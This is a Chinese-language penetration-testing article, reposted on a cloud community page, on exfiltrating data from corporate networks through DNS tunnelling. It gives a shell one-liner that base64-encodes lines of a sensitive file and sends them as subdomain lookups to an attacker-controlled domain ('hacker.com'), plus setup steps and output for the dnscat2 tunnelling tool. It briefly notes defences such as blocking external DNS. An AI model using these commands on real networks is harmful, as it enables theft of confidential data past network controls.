面向商業網路的資料暗渡攻防大戰

來源:互聯網
上載者:User
關鍵字 面向企業 企業安全

面向商業網路的資料暗渡攻防大戰。 資料暗渡,也稱為資料擠出,指的是在未經授權的情況下從電腦中轉移資料。 對於公司網路來說,這些類型的攻擊可以通過手動方式來完成,比如利用U盤;此外這種攻擊也可以通過自動的方式來進行,這時候就需要借助于網路傳輸資料。 在本文中,我們將重點介紹在滲透測試期間基於網路的資料暗渡技術,以及相應的安全加固措施。

隧道技術

作為攻擊方,我們假設自己沒有有效的域憑據。 這意味著我們不能使用公司的代理向外傳輸資料。 同時,如果我們沒有連接到互聯網,也無法洩露敏感資訊。 因此,在這種情況下,隧道技術就能發揮非常重要的作用。

隧道技術不是通過網路直接發送資料包,而是通過封裝技術在另一個(通常是加密的)連接中發送資料。 由於實際資料通過不同的協定進行網路傳輸的,因此就有機會到達互聯網。

根據使用的協定類型,隧道名稱可能會有所不同,在本文中,我們將介紹最常見的一些類型。

DNS隧道

在介紹DNS隧道之前,我們首先介紹一些非常簡單,但很重要的知識。

➜ ~ cat /etc/resolv.conf|grep -v '#'

domain acme.local

nameserver 192.168.1.1

nameserver 192.168.1.2

首先,我們必須識別出內部的DNS伺服器。 這很容易,下面將進行一些測試。 我們需要回答以下問題。

我們能否與內部DNS通信?

我們能否通過公司DNS解析內部域?

我們可以通過內部DNS解析外部域(例如:pentest.club)嗎?

我們可以直接與外部DNS通信嗎?

➜ ~ nslookup acmebank.local

Server: 192.168.1.1

Address: 192.168.1.1#53

Name: acmebank.local

Address: 192.168.10.12

➜ ~ nslookup google.com

Server: 192.168.1.1

Address: 192.168.1.1#53

Non-authoritative answer:

Name: google.com

Address: 216.58.209.14

➜ ~ nslookup pentest.blog 8.8.8.8

Server: 8.8.8.8

Address: 8.8.8.8#53

Non-authoritative answer:

Name: pentest.blog

Address: 104.27.169.40

Name: pentest.blog

Address: 104.27.168.40

第一個命令的結果表明,我們可以解析內部域;第二個命令的結果表明,我們可以通過公司DNS伺服器解析外部域。 這意味著我們可以實現DNS隧道,但我想提醒大家注意第3個命令。 大多數安全的網路是不允許與外部DNS進行通信的。 如果網路允許這樣做的話,這就是另外一個安全問題了,作為滲透測試人員,你必須單獨指出這個問題!

DNS隧道是如何工作的?

本文不僅提供了非常詳細的示意圖,同時,我們還會針對每個步驟進行詳細的解說。

1. 假設滲透測試人員掌控了一個域,例如hacker.com,對它具有完全的控制權。 滲透測試人員向內部DNS伺服器發送DNS請求,以解析hacker.com

2. hacker.com的權威DNS伺服器位於互聯網的其他地方。 因此,它通過防火牆將相應的請求重定向到根伺服器。

3. 經過多次重定向,DNS請求終於到達滲透測試人員掌控的功能變數名稱hacker.com的權威DNS伺服器。

4. 由於這個請求是由滲透測試人員生成的,因此回應是什麼並不重要。

5. 該回應到達內部DNS伺服器

6. 最後,滲透測試人員將會收到該回應。

這個過程,實際上可以用來跟公司網路外部的伺服器進行通信。 到目前為止,我們只是找到了一種與外部伺服器通信方式。 但是,下面開始介紹如何進行資料滲透。 同時,我們假設獲得了如下所示的一些敏感性資料。

➜ ~ cat sensitive.txt

Alice

Bob

John

同時,我們想通過網路把這些機密洩露出去,儘管這些網路的設置是相對安全的。

1

for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done

上面的shell命令將逐行讀取包含敏感資訊的檔。 然後,對每行內容進行base64編碼。 然後,在DNS查詢期間將其用作子域。 這樣,一旦查詢到達hacker.com的權威DNS伺服器,我們就可以捕獲相應的DNS日誌,通過解析日誌可以獲得子域,從而得到相應的敏感性資料。 這種技術非常有用,但它有以下限制。

這是一種單向通信。 我們不能從C2(權威DNS)發回命令

雖然讀取檔非常容易,但是如果需要處理100MB資料時,將會發生什麼情況? DNS資料包可能會以不同的順序到達。

因此,我們需要一個解決所有問題的工具。 幸運的是,我們借助于dnscat2。

如何配置和使用Dnscat2?

Dnscat2提供了用戶端和伺服器應用程式。 下面是構建一個DNS2伺服器所需的命令。

~ git clone HTTPs://github.com/iagox86/dnscat2.git

~ cd dnscat2/server/

~ gem install bundler

~ bundle install

下面是在公司網路上面安裝用戶端程式所需的具體命令。

root@pentest:~# git clone HTTPs://github.com/iagox86/dnscat2.git

root@pentest:~# cd dnscat2/client/

root@pentest:dnscat2/client/# make

一切準備就緒之後,現在我們就可以啟動Dnscat2伺服器了,具體命令如下所示。

root@khaleesi:/opt/dnscat2/server# ruby dnscat2.rb opendns.online

New window created: 0

dnscat2> New window created: crypto-debug

Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false

history_size (for new windows) => 1000

Security policy changed: All connections must be encrypted

New window created: dns1

Starting Dnscat2 DNS server on 0.0.0.0:53

[domains = opendns.online]...

Assuming you have an authoritative DNS server, you can run

the client anywhere with the following (--secret is optional):

./dnscat --secret=7040f6248e601519a9ebfb761e2402e3 opendns.online

To talk directly to the server without a domain name, run:

./dnscat --dns server=x.x.x.x,port=53 --secret=7040f6248e601519a9ebfb761e2402e3

Of course, you have to figure out yourself! Clients

will connect directly on UDP port 53.

opendns.online是處於滲透測試人員控制之下的一個功能變數名稱。 此外,重要的一點是讓權威DNS伺服器為opendns.online生成一個金鑰。 這個金鑰將以「共用秘密」的方式,用於對隧道期間的通信進行加密。 除此之外,dnscat還提供了兩種不同的用戶端命令。 即使你能夠向外部伺服器發送DNS查詢,也不要忘記大多數安全網路是不允許任何人使用外部DNS服務的。

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.